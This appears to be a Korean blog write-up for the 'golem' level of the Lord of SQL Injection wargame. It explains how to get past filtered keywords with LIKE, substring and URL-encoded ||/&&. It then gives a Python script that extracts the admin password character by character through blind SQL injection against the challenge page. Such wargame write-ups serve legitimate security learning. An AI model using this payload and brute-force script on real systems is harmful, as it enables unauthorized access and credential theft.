[LOS] SQL Injection 풀이 (golem)

필터링 된 단어

prob

_

.

( )

or

and

substr

=

 

내용을 보게 되면 입력된 비밀번호와 db에서 가져온 비밀번호가 일치해야 admin 로그인이 승인되는 것을 볼 수 있다. 이 겨우 pw에서만 입력을 받기 때문에 union을 사용하기는 어려울 것 같고 전과 같이 비밀번호를 알아내는 방법을 써야할 것같다. 다만 substr이라는 문자열을 자르는 함수가 필터링되어 있으니 다른 방식으로 접근하여야 한다.

우선 = 필터링은 like 문을 사용해서 우회가 가능하다 또한 substr같은 경우 substring을 이용하면 우회가 가능해 진다.

or and 문의 경우 ||와 && 문자를 url encoding 해서 집어넣었다.  그 이유는 &&가 url에서 먹히지 않아서 그렇다.

이렇게 sql문을 작성하면 뒤에 && 뒤에 문이 참이 나와야 Hello admin이 나오기 때문에 이를 이용하여 자동화 공격시 우회가 가능해진다.

자동화 공격 코드는 전 orc 문제 풀이에서 조금만 수정을 하였다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'2331tgvu0ls0ek67c2ba6liiun    '}
pw_str=''


for position in range(1,9):
    for find_pw in range(33,127):
        value ="x' || id like'admin' && ascii(substring(pw,{},1)) like {}#'".format(position,find_pw)
        parameter={'pw':value}
        res = requests.get(url, params=parameter, cookies=cookies)


        if("Hello admin" in res.text):
            pw_str+=chr(find_pw)
            print("pw=", pw_str)
            break

print("Found all pw=",pw_str)

 

+ Recent posts